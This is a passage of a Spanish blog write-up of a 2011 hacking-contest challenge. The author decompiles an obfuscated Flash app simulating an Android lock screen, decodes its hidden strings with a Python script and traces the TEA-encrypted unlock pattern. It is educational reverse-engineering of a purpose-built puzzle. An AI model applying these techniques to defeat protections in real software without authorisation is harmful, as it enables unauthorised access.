H4ckc0nt3st GSIC 2011</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;En este desafío debemos encontrar el código de desbloqueo de un móvil Android simulado en un objeto &lt;a href=&quot;https://sites.google.com/site/archivospentsec/desafio11.swf&quot;&gt;flash&lt;/a&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqvSv6JfHVxCf5RNf7A7ss98HRDkEGqBpNjpPGJ6ZGr2AWpPW7PPEW9v3hYV1A2OtpeK0KpWr3xe9UbsskfqpZeP1MijXuFSD7Yml2G3d4R27FO32ejVbd6X7kBy63A2QZV1DtQR6TgHc/s1600/desafio11_1.png&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5600826753666589074&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqvSv6JfHVxCf5RNf7A7ss98HRDkEGqBpNjpPGJ6ZGr2AWpPW7PPEW9v3hYV1A2OtpeK0KpWr3xe9UbsskfqpZeP1MijXuFSD7Yml2G3d4R27FO32ejVbd6X7kBy63A2QZV1DtQR6TgHc/s400/desafio11_1.png&quot; style=&quot;cursor: pointer; display: block; height: 270px; margin: 0px auto 10px; text-align: center; width: 204px;&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;Haciendo alguna prueba al azar sólo conseguimos el mensaje “Lo sentimos, inténtelo de nuevo”&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;En primer lugar descargamos el .swf correspondiente y lo desensamblamos con la aplicación Flash Decompiler Trillix, obteniendo la siguiente estructura:&lt;/div&gt;&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhri68MtM_YzkHDgKIZR1ykT6VCP0Zbp7yHvTrgiedMXn8pDdw2XMDpzefoTjEWm5Em-EXT8frgDUqInGYbpWG_2LLBmLnDnFeboX5BvgI3ofPZiIXED6V90MfP2q5GPH3XAAtLKqKhzsA/s1600/desafio11_2.png&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5600827003211229570&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhri68MtM_YzkHDgKIZR1ykT6VCP0Zbp7yHvTrgiedMXn8pDdw2XMDpzefoTjEWm5Em-EXT8frgDUqInGYbpWG_2LLBmLnDnFeboX5BvgI3ofPZiIXED6V90MfP2q5GPH3XAAtLKqKhzsA/s400/desafio11_2.png&quot; style=&quot;cursor: pointer; display: block; height: 385px; margin: 0px auto 10px; text-align: center; width: 325px;&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;Observamos que la mayor parte del código ha sido ofuscado sustituyendo los nombres de clases, funciones y variables por cadenas semialeatorias que dificultan la interpretación de los entresijos del programa.  Las pocas cosas que no están ofuscadas son pistas claras hacia la solución que no supe interpretar hasta haber hecho un análisis algo más completo de la aplicación.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Mirando por encima el código vemos un array de arrays dentro de la clase eMoUtd7A8h666 que apesta a cadenas de caracteres, pese a que algunos de los elementos está fuera del ASCII estándar:&lt;/div&gt;&lt;br /&gt;
&lt;code style=&quot;font-size: smaller;&quot;&gt;//eMoUtd7A8h666&lt;br /&gt;
package &lt;br /&gt;
{&lt;br /&gt;
&amp;nbsp;&amp;nbsp;public class eMoUtd7A8h666 extends Object&lt;br /&gt;
&amp;nbsp;&amp;nbsp;{&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;public function eMoUtd7A8h666()&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;super();&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;public static function byqBTJOaGW666(arg1:int, arg2:int):String&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;var loc1:*=&quot;&quot;;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;var loc2:*=ar[arg1];&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;var loc3:*=0;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;while (loc3 &amp;lt; loc2.length)  &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{ &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;loc1 = loc1 + String.fromCharCode(loc2[loc3] - arg2); &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;++loc3; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return loc1; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}  &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{ &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ar = [[74, 111, 104, 123, 112, 107, 38, 107, 114, 38, 118, 103, 122, 120, 249, 116, 38, 118, 103, 120, 103, 38, 106, 107, 121, 104, 114, 117, 119, 123, 107, 103, 120], [68, 60, 61, 61, 62, 67, 63, 60, 63, 67, 68, 60, 61, 65, 109, 63, 68, 62, 65, 62, 114, 65, 67, 112, 63, 62, 60, 61, 113, 64, 60, 110], [58], [91, 126, 47, 130, 116, 125, 131, 120, 124, 126, 130, 59, 47, 120, 125, 131, 248, 125, 131, 116, 123, 126, 47, 115, 116, 47, 125, 132, 116, 133, 126], [85, 122, 115, 134, 123, 118, 49, 118, 125, 49, 129, 114, 133, 131, 260, 127, 49, 129, 114, 131, 114, 49, 117, 118, 132, 115, 125, 128, 130, 134, 118, 114, 131], [142, 132, 135, 144, 141, 138, 142], [], [], [], [63], [79], [54], [53], [73], [63], [84], [71], [74], [67], [114], [118], [91, 130, 90, 100, 64, 114, 81, 81, 83, 73, 70, 70, 70], [104], [116, 65, 62, 79, 127, 62, 126, 118, 110, 94, 67, 67, 67], [121], [65, 137], []]; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}  &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;internal static var ar:Array; &amp;nbsp;&amp;nbsp;} } &lt;/code&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;También podemos ver una función bastante simple que parece decodificar cada cadena restando de cada carácter el número indicado como segundo parámetro.  Para ver si las cadenas nos dan alguna pista, buscamos las llamadas a dicha función para recopilar el desplazamiento correspondiente a cada cadena.&lt;/div&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: courier new;&quot;&gt;&amp;gt;strings.exe -q -s *.as|grep byqBTJOaGW666&lt;/span&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;Lanzo el strings de Sysinternals previo al grep porque el grep de UnxUtils no encuentra las cadenas Unicode generadas por la exportación del Flash Decompiler Trillix.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Con estos datos preparamos un script en python:&lt;/div&gt;&lt;br /&gt;
&lt;code style=&quot;font-size: smaller;&quot;&gt;import binascii&lt;br /&gt;
&lt;br /&gt;
ar = [[74, 111, 104, 123, 112, 107, 38, 107, 114, 38, 118, 103, 122, 120, 249, 116, 38, 118, 103, 120, 103, 38, 106, 107, 121, 104, 114, 117, 119, 123, 107, 103, 120], [68, 60, 61, 61, 62, 67, 63, 60, 63, 67, 68, 60, 61, 65, 109, 63, 68, 62, 65, 62, 114, 65, 67, 112, 63, 62, 60, 61, 113, 64, 60, 110], [58], [91, 126, 47, 130, 116, 125, 131, 120, 124, 126, 130, 59, 47, 120, 125, 131, 248, 125, 131, 116, 123, 126, 47, 115, 116, 47, 125, 132, 116, 133, 126], [85, 122, 115, 134, 123, 118, 49, 118, 125, 49, 129, 114, 133, 131, 260, 127, 49, 129, 114, 131, 114, 49, 117, 118, 132, 115, 125, 128, 130, 134, 118, 114, 131], [142, 132, 135, 144, 141, 138, 142], [], [], [], [63], [79], [54], [53], [73], [63], [84], [71], [74], [67], [114], [118], [91, 130, 90, 100, 64, 114, 81, 81, 83, 73, 70, 70, 70], [104], [116, 65, 62, 79, 127, 62, 126, 118, 110, 94, 67, 67, 67], [121], [65, 137], []]&lt;br /&gt;
&lt;br /&gt;
off = [6,12,14,15,17,27,17,21,11,15,30,4,2,21,10,30,16,18,10,17,20,16,4,13,19,17,22]&lt;br /&gt;
&lt;br /&gt;
for a in range(0,len(ar)):&lt;br /&gt;
&amp;nbsp;&amp;nbsp;cadena=&#39;&#39;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;print &quot;Cadena &quot;+str(a)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;for b in range(0,len(ar[a])):&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cadena=cadena+chr(ar[a][b]-off[a])&lt;br /&gt;
&amp;nbsp;&amp;nbsp;print cadena+&#39;\n&#39;&lt;br /&gt;
&lt;/code&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;De esta forma obtenemos las cadenas disponibles.&lt;/div&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: courier new;&quot;&gt;&lt;div id=&quot;container&quot;&gt;&lt;br /&gt;
&lt;div id=&quot;izq&quot; style=&quot;float: left; width: 60%;&quot;&gt;&lt;br /&gt;
Cadena 0&lt;br /&gt;
Dibuje el patr¾n para desbloquear&lt;br /&gt;
&lt;br /&gt;
Cadena 1&lt;br /&gt;
80112730378015a38252f57d3201e40b&lt;br /&gt;
&lt;br /&gt;
Cadena 2&lt;br /&gt;
,&lt;br /&gt;
&lt;br /&gt;
Cadena 3&lt;br /&gt;
Lo sentimos, intÚntelo de nuevo&lt;br /&gt;
&lt;br /&gt;
Cadena 4&lt;br /&gt;
Dibuje el patr¾n para desbloquear&lt;br /&gt;
&lt;br /&gt;
Cadena 5&lt;br /&gt;
siluros&lt;br /&gt;
&lt;br /&gt;
Cadena 6&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cadena 7&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cadena 8&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cadena 9&lt;br /&gt;
0&lt;br /&gt;
&lt;br /&gt;
Cadena 10&lt;br /&gt;
1&lt;br /&gt;
&lt;br /&gt;
Cadena 11&lt;br /&gt;
2&lt;br /&gt;
&lt;br /&gt;
Cadena 12&lt;br /&gt;
3&lt;/div&gt;&lt;br /&gt;
&lt;div id=&quot;der&quot; style=&quot;float: left; width: 40%;&quot;&gt;&lt;br /&gt;
Cadena 13&lt;br /&gt;
4&lt;br /&gt;
&lt;br /&gt;
Cadena 14&lt;br /&gt;
5&lt;br /&gt;
&lt;br /&gt;
Cadena 15&lt;br /&gt;
6&lt;br /&gt;
&lt;br /&gt;
Cadena 16&lt;br /&gt;
7&lt;br /&gt;
&lt;br /&gt;
Cadena 17&lt;br /&gt;
8&lt;br /&gt;
&lt;br /&gt;
Cadena 18&lt;br /&gt;
9&lt;br /&gt;
&lt;br /&gt;
Cadena 19&lt;br /&gt;
a&lt;br /&gt;
&lt;br /&gt;
Cadena 20&lt;br /&gt;
b&lt;br /&gt;
&lt;br /&gt;
Cadena 21&lt;br /&gt;
KrJT0bAAC9666&lt;br /&gt;
&lt;br /&gt;
Cadena 22&lt;br /&gt;
d&lt;br /&gt;
&lt;br /&gt;
Cadena 23&lt;br /&gt;
g41Br1qiaQ666&lt;br /&gt;
&lt;br /&gt;
Cadena 24&lt;br /&gt;
f&lt;br /&gt;
&lt;br /&gt;
Cadena 25&lt;br /&gt;
0x&lt;br /&gt;
&lt;br /&gt;
Cadena 26&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;La cadena 1 no es llamada desde el código, así que hemos obtenido el desplazamiento por fuerza bruta, sólo para observar que coincide con una de las cadenas no ofuscadas que mostraba el código.  Probablemente la habían ofuscado en primera instancia y después decidieron ponerla en claro para facilitar la solución basada en las pistas.&lt;/div&gt;&lt;br /&gt;
eIqyPOye1A666.as (1 hits)&lt;br /&gt;
Line 76: th4t1s = MLOSVylCb1666.hpys.utils.r3oAjJpsMZ666.k1TNULc6Sk666(&quot;80112730378015a38252f57d3201e40b&quot;);&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;También sorprende que donde podíamos esperar los caracteres ‘c’ y ‘e’ encontramos identificadores similares a los que ha generado la ofuscación.  Los identificadores no se corresponden con nada que tengamos en el código decompilado y el array donde se incluyen está dentro de una función que no parece ser llamada desde ningún sitio, así que dejamos esto de lado.&lt;/div&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;Resumiendo, de momento no hemos encontrado gran cosa, y lo único que no parece obvio es la cadena ‘siluros’, que aún no sabemos para qué se utiliza, pero que también aparece sin ofuscar en el código.&lt;/div&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: courier new;&quot;&gt;MLOSVylCb1666\meychi\ascrypt3\_YOeZFRVpU666.as&lt;br /&gt;
Line 57: var loc4:*=&quot;teatime_siluros&quot;;&lt;/span&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;Aunque no consigo localizar el final exitoso para ir hacia atrás hasta la validación (me temo que aún no sé relacionar la información gráfica con el ActionScript que proporciona el decompilador), sí vemos el mensaje de fallo, y buscando dónde se utiliza observamos que la validación que necesitamos está en la función eIqyPOye1A666.JA2IBhhdu5666.  Pese a esto, para entender mejor el programa decido rastrear la entrada de datos.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;En el constructor de la clase eIqyPOye1A666 vemos el siguiente array con nueve elementos, que tiene toda la pinta de ser el array con los “botones”, así que vamos siguiendo qué ocurre con él:&lt;/div&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: courier new;&quot;&gt;this.qaqnUft5Aa666 = [this.one, this.two, this.three, this.four, this.five, this.six, this.seven, this.eight, this.nine];&lt;/span&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;Justo después se llama a la función eIqyPOye1A666. lj2WnmDGg6666, donde se añaden a cada “botón” manejadores para los eventos de MOUSE_DOWN o MOUSE_UP, concretamente eIqyPOye1A666.f9W2RUEehO666 y eIqyPOye1A666.HENyNE3kUZ666 respectivamente.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Para no extendernos demasiado en los detalles, cuando se pulsa sobre un botón, se mete una referencia a dicho botón en el array QQguJkqffe666 y se añade un manejador de MOUSE_OVER en todos los botones.  Este manejador sigue añadiendo al array comentado todos los botones sobre los que vamos pasando, y al soltar el botón del ratón se quitan los manejadores para MOUSE_OVER y se llama a la función en la que tenemos la comprobación final que ya habíamos comentado antes eIqyPOye1A666.JA2IBhhdu5666.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;En esta función observamos que se compara la secuencia introducida por nosotros (en el array QQguJkqffe666) con otra que ha obtenido de separar por comas (cadena 2) el resultado recibido al llamar a r3oAjJpsMZ666.k1TNULc6Sk666 con la cadena alfanumérica que ya nos ha llamado la atención previamente “80112730378015a38252f57d3201e40b”.&lt;/div&gt;&lt;br /&gt;
&lt;code style=&quot;font-size: smaller;&quot;&gt;&lt;br /&gt;
private function JA2IBhhdu5666():void{&lt;br /&gt;
&amp;nbsp;&amp;nbsp;var Khwxjj96Ad666:* = 0;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;var mGQBBPZvp5666:* = null;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;var DtRwsK7NRk666:* = null;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;var _WqTfZQq9g666:* = 0;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;var tdQ5VNvK4q666:* = null;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;var oNWCfo_rcc666:* = null;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&lt;b&gt;var th4t1s:* = r3oAjJpsMZ666.k1TNULc6Sk666(&quot;80112730378015a38252f57d3201e40b&quot;);&lt;br /&gt;
&amp;nbsp;&amp;nbsp;var bK5n5Gcq8Y666:* = th4t1s.split(eMoUtd7A8h666.byqBTJOaGW666(2, 14));&lt;/b&gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;var rIkvHB8wSa666:* = bK5n5Gcq8Y666.length;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;var DKlQa0mHrt666:* = 0;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;Khwxjj96Ad666 = 0;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&lt;b&gt;while (Khwxjj96Ad666 &amp;lt; rIkvHB8wSa666) { &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (bK5n5Gcq8Y666[Khwxjj96Ad666] == this.QQguJkqffe666[Khwxjj96Ad666]){ &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DKlQa0mHrt666 = (DKlQa0mHrt666 + 1); &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;};&lt;/b&gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Khwxjj96Ad666 = (Khwxjj96Ad666 + 1);&lt;br /&gt;
&amp;nbsp;&amp;nbsp;};&lt;br /&gt;
&amp;nbsp;&amp;nbsp;if (DKlQa0mHrt666 == rIkvHB8wSa666){&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mGQBBPZvp5666 = new SecondView();&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;addChild(mGQBBPZvp5666);&lt;br /&gt;
&amp;nbsp;&amp;nbsp;} else {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;oNWCfo_rcc666 = function (_arg1:TimerEvent):void{&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;texto.text = eMoUtd7A8h666.byqBTJOaGW666(4, 17);&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;tdQ5VNvK4q666.removeEventListener(TimerEvent.TIMER, oNWCfo_rcc666);&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DtRwsK7NRk666.parent.removeChild(DtRwsK7NRk666);&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;};&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;this.texto.text = eMoUtd7A8h666.byqBTJOaGW666(3, 15);&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DtRwsK7NRk666 = new Shape();&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DtRwsK7NRk666.graphics.lineStyle(10, 0xFFD700, 1, false, LineScaleMode.VERTICAL, CapsStyle.NONE, JointStyle.MITER, 10);&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;_WqTfZQq9g666 = this.WasP1Q_YeG666.length;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DtRwsK7NRk666.graphics.moveTo(this.WasP1Q_YeG666[0], this.UsmsWUWxbi666[0]);&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Khwxjj96Ad666 = 0;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;while (Khwxjj96Ad666 &amp;lt; _WqTfZQq9g666) { &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DtRwsK7NRk666.graphics.lineTo(this.WasP1Q_YeG666[Khwxjj96Ad666], this.UsmsWUWxbi666[Khwxjj96Ad666]); &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Khwxjj96Ad666 = (Khwxjj96Ad666 + 1); &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;this.addChild(DtRwsK7NRk666); &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;tdQ5VNvK4q666 = new Timer(1500); &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;tdQ5VNvK4q666.start(); &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;tdQ5VNvK4q666.addEventListener(TimerEvent.TIMER, oNWCfo_rcc666); &amp;nbsp;&amp;nbsp;}; &amp;nbsp;&amp;nbsp;this.WasP1Q_YeG666 = []; &amp;nbsp;&amp;nbsp;this.UsmsWUWxbi666 = []; &amp;nbsp;&amp;nbsp;this.QQguJkqffe666 = []; } &lt;/code&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;Visto esto parece claro que si sabemos descifrar dicha cadena alfanumérica obtendremos la secuencia que necesitamos para desbloquear nuestro móvil.  En principio esto podría ser inmediato modificando el ActionScript y compilándolo para que nos muestre dicha secuencia, pero mi ignorancia y limitaciones en este entorno no me lo permite, así que toca investigar qué hacen exactamente para descifrar la cadena.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Parece que tenemos una clase auxiliar con sólo tiene dos funciones, que enseguida suponemos que son cifrar y descifrar, que llaman a su vez a otra añadiendo en las llamadas un segundo parámetro que suponemos que es la clave y que es la cadena ‘siluros’ que habíamos visto antes.&lt;/div&gt;&lt;br /&gt;
&lt;code style=&quot;font-size: smaller;&quot;&gt;&lt;br /&gt;
//r3oAjJpsMZ666&lt;br /&gt;
package MLOSVylCb1666.hpys.utils &lt;br /&gt;
{&lt;br /&gt;
&amp;nbsp;&amp;nbsp;import MLOSVylCb1666.meychi.ascrypt3.*;&lt;br /&gt;
&amp;nbsp;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;public class r3oAjJpsMZ666 extends Object&lt;br /&gt;
&amp;nbsp;&amp;nbsp;{&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;public function r3oAjJpsMZ666()&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;super();&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;public static function k1TNULc6Sk666(arg1:String):String&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;var loc1:*=new MLOSVylCb1666.meychi.ascrypt3._YOeZFRVpU666();&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;var loc2:*=loc1.N9SO84jcFw666(arg1, y4HgL82VZJ666);&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return loc2;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;public static function HfM4eDkkN0666(arg1:String):String&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;var loc1:*=new MLOSVylCb1666.meychi.ascrypt3._YOeZFRVpU666();&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;var loc2:*=loc1.VretvlRcF9666(arg1, y4HgL82VZJ666);&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return loc2;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;static const y4HgL82VZJ666:String=eMoUtd7A8h666.byqBTJOaGW666(5, 27);&lt;br /&gt;
&amp;nbsp;&amp;nbsp;}&lt;br /&gt;
}&lt;br /&gt;
&lt;/code&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;Parece que ya sólo nos queda ver qué es exactamente MLOSVylCb1666.meychi.ascrypt3._YOeZFRVpU666, y por suerte nos han dejado como pista parte de la ruta sin cifrar, así que investigando un poco por ascrypt rápidamente encontramos la web &lt;a href=&quot;http://osflash.org/ascrypt&quot;&gt;http://osflash.org/ascrypt&lt;/a&gt;, donde nos indica que uno de los cifrados soportado es TEA, y entonces nos acordamos de otra pista que nos habían dejado a la vista, la cadena ‘teatime_siluros’ sin cifrar, así que directamente intentamos descifrar mediante este algoritmo.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Para hacerlo, con el Cryptool codificamos los datos hexadecimales en base64.&lt;/div&gt;&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN9n8k0k5ld7LXtQlDO424Cw2pDBhZkKpHetdomkPxw1e-Pt0A9vB5wIiTs_hj5RgFDtyKHwO6H_BY2X35Blryc0kY8zNEoKzxss5oKdVnLjvKdkhUFrfH0HYWK3AmxPEEd_GIArNtQqk/s1600/desafio11_4.png&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5600827885435955282&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN9n8k0k5ld7LXtQlDO424Cw2pDBhZkKpHetdomkPxw1e-Pt0A9vB5wIiTs_hj5RgFDtyKHwO6H_BY2X35Blryc0kY8zNEoKzxss5oKdVnLjvKdkhUFrfH0HYWK3AmxPEEd_GIArNtQqk/s400/desafio11_4.png&quot; style=&quot;cursor: pointer; display: block; height: 85px; margin: 0px auto 10px; text-align: center; width: 400px;&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;Y gracias a la siguiente web obtenemos la secuencia deseada:&lt;/div&gt;&lt;br /&gt;
